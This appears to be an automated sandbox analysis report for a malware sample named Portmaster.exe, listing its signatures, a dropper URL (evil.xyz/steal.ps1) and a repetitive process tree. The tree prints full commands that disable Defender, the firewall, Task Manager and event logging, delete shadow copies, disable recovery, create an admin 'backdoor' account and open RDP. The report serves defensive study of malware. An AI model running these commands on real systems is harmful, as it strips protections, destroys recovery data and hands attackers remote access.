Analysis
- max time kernel
10s - max time network
895s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260513-uk - resource tags
- submitted
25/05/2026, 15:20
General
- Target Portmaster.exe
- Size 226KB
- Sample260525-sq511act7l
- SHA256 0acec441bd5e924c678d740919a076238ea9674e0a40876fc99f7ba814a8c9fe
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://evil.xyz/steal.ps1
Signatures
- Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
- Remote Service Session Hijacking: RDP Hijacking 1 TTPs 64 IoCs
Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.
- Disables RegEdit via registry modification 1 IoCs
- Disables Task Manager via registry modification
- Disables one or more Microsoft Defender components 1 TTPs 28 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Modifies Windows Firewall 2 TTPs 36 IoCs
- Disables service(s) 3 TTPs
- Drops startup file 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 30 IoCs
Using powershell.exe command.
- Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- Drops file in System32 directory 2 IoCs
- Drops file in Windows directory 8 IoCs
- Launches sc.exe 64 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
- Program crash 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 54 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 35 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 44 IoCs
- Suspicious use of WriteProcessMemory 53 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"1⤵
- Drops startup file
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f3⤵
- Disables RegEdit via registry modification
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reagentc /disable2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\ReAgentc.exereagentc /disable3⤵
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc config Schedule start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config EventLog start= disabled2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc config EventLog start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exenet user backdoor P@ssw0rd123! /add3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user backdoor P@ssw0rd123! /add4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add2⤵
-
C:\Windows\SysWOW64\net.exenet localgroup administrators backdoor /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup administrators backdoor /add4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add2⤵
- Remote Service Session Hijacking: RDP Hijacking
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Users" backdoor /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add4⤵
- Remote Service Session Hijacking: RDP Hijacking
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f2⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow2⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow3⤵
- Modifies Windows Firewall
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reagentc /disable3⤵
-
C:\Windows\SysWOW64\ReAgentc.exereagentc /disable4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config Schedule start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config EventLog start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add3⤵
-
C:\Windows\SysWOW64\net.exenet user backdoor P@ssw0rd123! /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user backdoor P@ssw0rd123! /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add3⤵
-
C:\Windows\SysWOW64\net.exenet localgroup administrators backdoor /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup administrators backdoor /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add3⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Users" backdoor /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add5⤵
- Remote Service Session Hijacking: RDP Hijacking
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow4⤵
- Modifies Windows Firewall
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6440 -s 6084⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2420 -s 6684⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f5⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f5⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true5⤵
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5624 -s 6324⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f5⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true5⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6780 -s 6124⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reagentc /disable3⤵
-
C:\Windows\SysWOW64\ReAgentc.exereagentc /disable4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config Schedule start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config EventLog start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config EventLog start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add3⤵
-
C:\Windows\SysWOW64\net.exenet user backdoor P@ssw0rd123! /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user backdoor P@ssw0rd123! /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add3⤵
-
C:\Windows\SysWOW64\net.exenet localgroup administrators backdoor /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup administrators backdoor /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add3⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Users" backdoor /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add5⤵
- Remote Service Session Hijacking: RDP Hijacking
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reagentc /disable3⤵
-
C:\Windows\SysWOW64\ReAgentc.exereagentc /disable4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config Schedule start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config EventLog start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config EventLog start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add3⤵
-
C:\Windows\SysWOW64\net.exenet user backdoor P@ssw0rd123! /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user backdoor P@ssw0rd123! /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add3⤵
-
C:\Windows\SysWOW64\net.exenet localgroup administrators backdoor /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup administrators backdoor /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add3⤵
- Remote Service Session Hijacking: RDP Hijacking
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Users" backdoor /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f5⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true5⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
